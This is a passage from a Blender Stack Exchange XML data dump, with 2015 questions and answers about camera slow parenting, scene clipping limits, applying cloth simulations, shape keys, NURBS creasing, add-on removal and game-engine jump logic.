  <row Id="26949" PostTypeId="2" ParentId="26947" CreationDate="2015-03-10T18:05:38.937" Score="8" Body="&lt;p&gt;This can be accomplished with the &quot;slow parent&quot; settings. They are found under &lt;em&gt;Properties &gt; Object &gt; Relations Extras&lt;/em&gt;. Open them up under the camera and turn the offset up to, say, 9.00. This will give a lot of drag between your camera following the player; When the player moves, the camera follows loosely, just like you wanted. If you want a longer time between parent movement ad the child movement, increase the offset, less time, decrease the offset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xy4Ed.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="2217" LastEditDate="2015-03-10T20:07:38.960" LastActivityDate="2015-03-10T20:07:38.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26950" PostTypeId="1" CreationDate="2015-03-10T18:06:22.943" Score="1" ViewCount="2032" Body="&lt;p&gt;OK, a question for who ever is the Blender expert. I am using Blender on a Linux (Debian) machine. I just updated to 2.73 and have a problem. I can't get any image in solid view. No matter what I do I get nothing. 2.73 works fine on my windows machine but not on the Linux system.&lt;/p&gt;&#xA;" OwnerUserId="13094" LastEditorUserId="1448" LastEditDate="2015-03-11T23:01:07.400" LastActivityDate="2015-03-11T23:01:07.400" Title="Textures not displaying in Solid Shading mode" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26952" PostTypeId="2" ParentId="26943" CreationDate="2015-03-10T18:36:23.130" Score="1" Body="&lt;p&gt;Apologies but actually it seems that one is able to edit 4k H.265 footage in the VSE, am I right? I was able to bring in 4k H.265 footage in the vse without any convertion and do a soft cut at least.&lt;/p&gt;&#xA;" OwnerUserId="13089" LastActivityDate="2015-03-10T18:36:23.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26953" PostTypeId="1" AcceptedAnswerId="26967" CreationDate="2015-03-10T19:27:31.487" Score="7" ViewCount="8226" Body="&lt;p&gt;I asked a question yesterday about how to bring filled polylines in from AutoCAD without them coming in as joined filled shapes.  I was directed to a download site to get a new dxf importer.  I installed it as directed but now I have two dxf converters installed in Blender and they conflict so that I can't bring dxf files in at all.  How can I uninstall the old one?&lt;img src=&quot;https://i.stack.imgur.com/yU627.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I could uninstall Blender and then reinstall it, but then I would have the same question.  Can I bring in polylines from AutoCAD without them linking to each other and creating a maze of linked filled shapes?&lt;/p&gt;&#xA;" OwnerUserId="8332" LastActivityDate="2017-03-29T01:16:35.957" Title="How can I uninstall an Add-on?" Tags="&lt;add-on&gt;&lt;import&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26954" PostTypeId="1" AcceptedAnswerId="26968" CreationDate="2015-03-10T19:49:53.233" Score="4" ViewCount="1478" Body="&lt;p&gt;I am learning how to make vector like graphics using a NURBS curve, and it looks like a very powerful method, except I can not find a way to 'crease' a vertex. The vertices are automatically smoothed, and my result looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yG41e.jpg&quot; alt=&quot;Quill example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to make the circled areas sharper, while keeping all other parts the same. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-11T01:32:33.097" Title="Is it possible to crease a NURBS vertex?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26955" PostTypeId="1" AcceptedAnswerId="26959" CreationDate="2015-03-10T19:53:05.877" Score="5" ViewCount="3605" Body="&lt;p&gt;I created a landscape full size in Autodesk Inventor from shapes I traced using AutoCAD.  I made it from a chart of Charleston Harbor that was created in 1861.  It is about 8 x 10 nautical miles square.  I made extruded shapes and brought the file into 3DS Max so that I could export an FBX file that I brought into Blender.  The shapes seem to have come in fine, but they drift in and out of the visible space as I rotate the view.  It appears that I have exceeded the size of mesh that I can use. &lt;img src=&quot;https://i.stack.imgur.com/7lGs5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me what the limits are for importing meshes into Blender?&lt;img src=&quot;https://i.stack.imgur.com/iFlYB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you approach this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intend to use in my Blender class it to get my students to recreate the &quot;Race to Freedom&quot; of a steamship that was commandeered by Robert Smalls a slave and turned over to the Union Blockade of Ft. Sumter in 1862.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you place an image into Blender that is that large?  I mean a full scale chart of Charleston Harbor.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to scale a reference image that big and accurately inside Blender?  &lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="11431" LastEditDate="2015-03-10T21:01:33.183" LastActivityDate="2017-03-13T12:38:32.330" Title="What is the max size of a scene in Blender?" Tags="&lt;3d-view&gt;&lt;import&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26956" PostTypeId="2" ParentId="26939" CreationDate="2015-03-10T19:56:03.783" Score="1" Body="&lt;p&gt;There is an &quot;import GIMP&quot; addon currently available, but it doesn't look like it's very stable at this point. You can activate it under &lt;em&gt;User Preferences &gt; Addons &gt; Import GIMP to scene&lt;/em&gt;. Use key search word GIMP to locate it. Then it just a matter of opening the import menu, selecting xcf and importing the file. like I said though, it's kinda unstable, wait for more hardy versions to come out if you can.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-10T19:56:03.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26958" PostTypeId="1" CreationDate="2015-03-10T20:06:28.167" Score="6" ViewCount="20486" Body="&lt;p&gt;So right now I'm trying to put a mesh of a small pouch on the side of one of my characters. While I could make it like I would any other mesh, it would look kind of un-natural. When playing around in blender though, I noticed if you were to use the cloth effect to drape it over a few object that are close together, it makes something much like the desired effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, could I take the 'animated' cloth dropping over an object, say at frame 60, and make that the default way the shape is? Of course allowing me to then rotate it upward and edit it to the character.&lt;/p&gt;&#xA;" OwnerUserId="10869" LastEditorUserId="2217" LastEditDate="2015-03-10T20:24:00.590" LastActivityDate="2015-03-10T20:24:00.590" Title="Saving a mesh from a frame in a cloth simulation?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2015-03-11T00:27:51.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="26959" PostTypeId="2" ParentId="26955" CreationDate="2015-03-10T20:09:02.323" Score="10" Body="&lt;p&gt;You need to set clipping limits for 3D view and for camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8azPE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5QeBS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2015-03-10T20:09:02.323" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26960" PostTypeId="1" AcceptedAnswerId="26961" CreationDate="2015-03-10T20:10:14.490" Score="3" ViewCount="4481" Body="&lt;p&gt;I'm  trying to create a FPS game in blender game engine. When I do &lt;em&gt;KeyBoard[Spacebar]&lt;/em&gt; sensor and hook it up to a &lt;em&gt;simple motion&lt;/em&gt; of &lt;em&gt;z +1&lt;/em&gt; or something like that, the guys pops up really fast as if he didn't have any motion between being on the ground and being in the air. Is there a way to make a more realistic, more slow jump in BGE?&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-11T02:51:58.343" Title="How to create a realistic jump in bge" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26961" PostTypeId="2" ParentId="26960" CreationDate="2015-03-10T20:14:20.983" Score="4" Body="&lt;p&gt;You can do this by using the Linear velocity setting under simple motion. This will make your character's jump motion look much more realistic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using &lt;em&gt;Character&lt;/em&gt; physics, you can simply use this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MZy7w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the settings for the character's jump speed and power in the Physics tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XAgCJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a dynamic object, or a rigid body object, you can use linear velocity along the z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Lq1C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/91/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=91&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-11T01:23:46.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26962" PostTypeId="1" CreationDate="2015-03-10T20:14:50.257" Score="4" ViewCount="295" Body="&lt;p&gt;I'm &lt;em&gt;also&lt;/em&gt; trying to make some hands in the game engine, and I thought it would be really cool if they had something to do. So I say, &quot;Hey! clay is fun!&quot; but I can't figure out how to make the physics for clay in the game engine. All it does when I do soft-body for a cube is make it really bouncy. That's cool and all, but I want to make clay that I can squish the daylights out of with my bare-digital hands. Help?&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2018-01-09T11:01:30.810" Title="Clay-like physics in BGE" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26963" PostTypeId="2" ParentId="26958" CreationDate="2015-03-10T20:15:01.493" Score="10" Body="&lt;p&gt;Yes you can. You have to &lt;a href=&quot;https://blender.stackexchange.com/a/17737/2217&quot;&gt;apply&lt;/a&gt; the cloth simulation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the frame where your object is looking the way you want it to (frame 60).&lt;br&gt;&#xA;In the &lt;em&gt;Properties&lt;/em&gt; panel under the &lt;em&gt;Modifiers&lt;/em&gt; tab click the large &lt;em&gt;Apply&lt;/em&gt; button on the cloth modifier. That will get rid of all the cloth simulation settings, and make the mesh &quot;real&quot;, (just like applying any other modifier.)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BWc9d.png&quot; alt=&quot;modifiers tab of the properties panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-03-10T20:15:01.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26965" PostTypeId="1" AcceptedAnswerId="26990" CreationDate="2015-03-10T20:59:43.113" Score="1" ViewCount="837" Body="&lt;p&gt;I have a script that list vertices and faces but now I need to get the texture associated with each face, known that only one texture is in each material , only one mesh is in the scene and it is selected . &#xA;I only found the way to list the texture associated using the uv image editor ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13067" LastActivityDate="2015-03-11T02:15:40.827" Title="Py: List materials with texture used by mesh" Tags="&lt;python&gt;&lt;scripting&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26967" PostTypeId="2" ParentId="26953" CreationDate="2015-03-10T21:00:57.703" Score="9" Body="&lt;p&gt;You need to delete the .py file. To do this on windows, go to &lt;code&gt;C:\Program Files\Blender Foundation\Blender\[version]\scripts&lt;/code&gt;, and find the scripts location. Then delete the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here in the screenshot of the user preferences (Which can be accessed via &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;U&lt;/kbd&gt;&gt;&lt;em&gt;Scripts&lt;/em&gt;) you can see the location of the script files that need to be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WnYPj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2017-03-29T01:16:35.957" LastActivityDate="2017-03-29T01:16:35.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26968" PostTypeId="2" ParentId="26954" CreationDate="2015-03-10T21:12:40.497" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Non-uniform_rational_B-spline&quot; rel=&quot;noreferrer&quot;&gt;NURBS&lt;/a&gt; is a complected and complex subject. I feel that for general modeling a bézier is preferable.&lt;/p&gt;&#xA;&lt;p&gt;This quote from &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Curves&quot; rel=&quot;noreferrer&quot;&gt;the old blender docs&lt;/a&gt; gives a hint as to the differences between NURBS and bézier curves.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For example a Bézier circle is a polynomial approximation of a circle, and this approximation is noticeable, whereas a NURBS circle is exactly a circle. However, a NURBS cannot have real sharp angles in it, unlike a Bézier curve…&lt;/p&gt;&#xA;&lt;p&gt;NURBS curves require a little bit more understanding of the underlying components that make up a NURBS curve in order to get full use of them. They have a large set of variables, which allow you to create mathematically pure forms. However, working with them requires a little more discussion on the various parts of a NURBS curve.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;NURBS objects can not easily easily represent a sharp corner. There are only two ways to &amp;quot;crease&amp;quot; a NURBS.&lt;/p&gt;&#xA;&lt;p&gt;First there is the &lt;em&gt;Weight&lt;/em&gt; setting for each control point. This setting found in the properties region (&lt;kbd&gt;N&lt;/kbd&gt;) it controls how much force each point has on the NURBS.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HNZkD.png&quot; alt=&quot;weight setting&quot; /&gt;&lt;br /&gt;&#xA;It you look at the NurbsCircle object, the control points in the corners (highleted in red) all have a weight of &lt;em&gt;0.353553&lt;/em&gt; while the four in the middle have a weight of &lt;em&gt;1&lt;/em&gt;. However, if you were to set all the control points to 1 you would &lt;strong&gt;not&lt;/strong&gt; have a square.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DonEo.png&quot; alt=&quot;NurbsCircle object&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Second there is the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Curves#Order&quot; rel=&quot;noreferrer&quot;&gt;Order&lt;/a&gt;&lt;/em&gt; setting in the &lt;em&gt;Active Spline&lt;/em&gt; section of the &lt;em&gt;Curve&lt;/em&gt; tab of the Properties panel. The order setting controls how big of a area the control points have. Smaller numbers equal sharper corners, because fewer points are mathematically controlling the placement of the NURBS.  &lt;img src=&quot;https://i.stack.imgur.com/2WePr.png&quot; alt=&quot;Active Spline settings&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-10T21:12:40.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26969" PostTypeId="1" AcceptedAnswerId="26970" CreationDate="2015-03-10T21:15:14.907" Score="2" ViewCount="1266" Body="&lt;p&gt;I need to create a few models for my new game. A cube with a smiling face that gradually changes to a sad face and a cube with melting animation i.e melts completely within 10 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with blender. If yes, then how?&lt;/p&gt;&#xA;" OwnerUserId="13095" LastEditorUserId="2217" LastEditDate="2016-02-09T20:26:42.597" LastActivityDate="2016-02-09T20:26:42.597" Title="How to create smiling/crying animation?" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-03-10T21:37:23.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="26970" PostTypeId="2" ParentId="26969" CreationDate="2015-03-10T21:32:17.403" Score="13" Body="&lt;p&gt;You can do this with shape keys. First make the cube that had the smiling face. Then go to &lt;em&gt;Properties &gt; object data &gt; shape keys&lt;/em&gt; and add a basis key. Now add another shape key.Go to the mesh and make the face to the frowning guy.  you can pan between the two keys slowly to make it form into the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZXpAT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The higher you set the value, the more frowny your guy will appear.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-03-10T21:40:34.730" LastActivityDate="2015-03-10T21:40:34.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26971" PostTypeId="5" CreationDate="2015-03-10T21:36:32.617" Score="0" Body="&lt;p&gt;Questions related to dimensions, size or scaling of objects, curves (Graph Editor), viewport, render, image, movie, ...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exemples :  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How to scale my cube?  &lt;/li&gt;&#xA;&lt;li&gt;Is it possible to change the scale of my rig without deforming my mesh?  &lt;/li&gt;&#xA;&lt;li&gt;Can I scale the rotation of my (beautiful) cube only on Z axis using F-Curves?  &lt;/li&gt;&#xA;&lt;li&gt;Importing an OBJ file, my (wonderful) sculpted cube is too big&lt;/li&gt;&#xA;&lt;li&gt;How can I see my 0.1mm cube?&lt;/li&gt;&#xA;&lt;li&gt;Can I save a small thumbnail of my render?&lt;/li&gt;&#xA;&lt;li&gt;Can I change my HD video to a low-res video?&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blender.stackexchange.com/questions/7503/scale-settings-for-exporting-to-stl-for-3d-printing&quot;&gt;Scale settings for exporting to STL (for 3d printing)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blender.stackexchange.com/questions/18941/set-dimensions-of-a-mesh&quot;&gt;Set dimensions of a mesh&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-03-10T22:05:39.180" LastActivityDate="2015-03-10T22:05:39.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26972" PostTypeId="4" CreationDate="2015-03-10T21:36:32.617" Score="0" Body="Questions related to dimensions, size or scaling of objects, curves (Graph Editor), viewport, render, image, movie, ..." OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-03-10T22:05:30.587" LastActivityDate="2015-03-10T22:05:30.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26973" PostTypeId="2" ParentId="26960" CreationDate="2015-03-10T22:31:04.363" Score="2" Body="&lt;p&gt;I use &#xA;(these represent game logic)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Keypress-------and----------Motion (linv up)&#xA;if jump=0------/ \----------jump =30&#xA;if Ray-------/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if ray is positive, key is pressed and jump=0: Apply jump set jump property to 30&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if jump min:2 max:30-----------and------------add -1 to jump&#xA;&#xA;if jump=1 -----------and-----------jump=0&#xA;Ray positive---------/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The advantage here is you can play a animation using the property jump,&#xA;and it will hold the last frame until you hit the ground,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if jump changed -------and(order hack)-----------JumpProp =30-jump&#xA;&#xA;if jump changed-----------and------------action Jump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also, you can use 'If jump==0&quot; for other logic.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13034" LastEditorUserId="13034" LastEditDate="2015-03-11T02:51:58.343" LastActivityDate="2015-03-11T02:51:58.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26974" PostTypeId="1" CreationDate="2015-03-10T22:38:23.763" Score="5" ViewCount="11823" Body="&lt;p&gt;I have a square. I want half of it to be circular, like this&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HMAGCm.png&quot; alt=&quot;sketch of shape&quot;&gt;&lt;br&gt;&#xA;(image is from a topdown view) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kept loop cutting but I couldn't find a way to make it truly &quot;round&quot; and do it evenly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: to be very specific, it should only be round horizontally, the rest should be untouched. Like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZnMpGm.png&quot; alt=&quot;3D sketch of shape&quot;&gt;&lt;br&gt;&#xA;(please excuse my horrifying drawing)&lt;/p&gt;&#xA;" OwnerUserId="13098" LastEditorUserId="2217" LastEditDate="2015-03-10T22:58:01.710" LastActivityDate="2015-03-11T13:20:38.550" Title="How to make half of a square circular" Tags="&lt;modeling&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26975" PostTypeId="1" CreationDate="2015-03-10T22:45:21.110" Score="0" ViewCount="639" Body="&lt;p&gt;I'm sorry, but I am not familiar with the name of the tools. So, I'm just going to put in an image instead showing my problem. Than I will add to it.&lt;img src=&quot;https://i.stack.imgur.com/Ruh8F.png&quot; alt=&quot;IMAGE&quot;&gt; Now, the red X's is what I was calling 'Windows'. How do I remove the ones I no longer need? Because so far, the only way I have found is saving.. closing out.. than reopening again. And I know there has to be a better way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="13097" LastActivityDate="2015-03-10T22:58:03.457" Title="Deleting/Removing a 'Window'?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2015-03-10T22:53:13.673" ContentLicense="CC BY-SA 3.0" />
  <row Id="26976" PostTypeId="2" ParentId="26974" CreationDate="2015-03-10T22:46:13.393" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add a Cylinder &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Mesh&lt;/em&gt; &gt; &lt;em&gt;Cylinder&lt;/em&gt;, set the &lt;em&gt;Cap Fill Type&lt;/em&gt; to &lt;em&gt;Nothing&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select half of it and delete with &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Delete&lt;/kbd&gt; &lt;img src=&quot;https://i.stack.imgur.com/plZzX.png&quot; alt=&quot; modeling cylinder&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the four vertices along the edge&lt;/li&gt;&#xA;&lt;li&gt;Extrude to make the long sides&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X0tUw.png&quot; alt=&quot;extrude&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Fill the back, top and bottom to get this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F1U5C.png&quot; alt=&quot;final result&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note the top and bottom are &lt;a href=&quot;https://blender.stackexchange.com/q/1684/2217&quot;&gt;Ngons&lt;/a&gt;, witch in many cases are undesirable. To get a quads all over the top use &lt;a href=&quot;https://blender.stackexchange.com/a/14580/2217&quot;&gt;grid fill&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-03-10T22:54:09.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26977" PostTypeId="2" ParentId="26974" CreationDate="2015-03-10T22:49:14.047" Score="2" Body="&lt;p&gt;Try adding a circle to the scene and making half of it like a square instead of the other way around.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RWZBp.png&quot; alt=&quot;Circle&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PIHnQ.png&quot; alt=&quot;half Circle&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xbMBh.png&quot; alt=&quot;Extruding&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="13050" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-10T22:49:14.047" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26979" PostTypeId="2" ParentId="26975" CreationDate="2015-03-10T22:51:30.740" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Right click on the line that divides the two windows (See picture below)&lt;/li&gt;&#xA;&lt;li&gt;Click &amp;quot;join area&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Mouse over the area you want to be deleted and click&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FNIsk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="13050" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-10T22:58:03.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26980" PostTypeId="1" AcceptedAnswerId="27378" CreationDate="2015-03-10T23:13:54.150" Score="0" ViewCount="174" Body="&lt;p&gt;I am making a game on the BGE with smooth shading pretty much everywhere. Everything looked great until I added a title screen scene. Then, whenever I switched between them while running the game, the shading meaninglessly switched between boxy and smooth, while also omitting some graphical toon effects. Is there a beter way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is with boxy/flat shading and absent graphical toon effects:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/z4OMH.png&quot; alt=&quot;How its supposed to not look:&quot;&gt;&#xA;This is good, but still missing some toon styling:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ba1zS.png&quot; alt=&quot;Better&quot;&gt;&#xA;This is with all the real effects, loaded directly from the adventure scene:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ivmjz.png&quot; alt=&quot;No title screen, but perfect&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13091" LastEditorUserId="13091" LastEditDate="2015-03-11T00:00:37.260" LastActivityDate="2015-03-19T15:57:54.370" Title="Boxy Shading Glitching" Tags="&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26981" PostTypeId="1" AcceptedAnswerId="26991" CreationDate="2015-03-10T23:20:15.033" Score="2" ViewCount="805" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JxEfS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have created some cool favorite color gradients in the node editor.&#xA; i want to save all of these so i can use them again later , also for use in other projects , but where is the save button ?&#xA; on the picture you can see the gradient color , but there is no save button near around it .&#xA;how do i do this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to be more specific , in one project i want to be able to choose from hundreds of cool gradients that i have created in blender and have saved these , for later use. &#xA;so when i work on a project and i don't like a gradient that i have used , i can go to a list where i have saved my selfmade gradients , and just pick out 1 of them , and than check out a next one , until i find one that i like. just about the same idea how you would do with choosing a right jpg for your texture, you have a folder somewhere , where you saved all your favourite jpgs , where you can choose from and check out which one fits best to your object. image now you can only choose from one JPG texture,  or in the worst case you need to hustle around a lot to try to import a second jpg etc etc .  that is how i feel now with the gradient question . there should be a save and load button somewhere to enjoy working with gradients on your object , just like you would enjoy cool JPG textures on your object. it seems no problem to choose from thousands of cool jpgs. just by one click , and keep going searching until you find your best one that fits here on your object.  if i can't save my cool self made gradients , i have no other choice then wait for an update for this , hopefully soon , maybe did i miss here something , but i have seen no option to load and save cool selfmade gradients. anyone ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this question has been marked as a double, but it is different in my opinion. &#xA;Can I make a custom node from a group and have that available in other projects?&#xA;that was the other question that has been compared to my question. it is different , because i am not asking for a node combination to save it and use 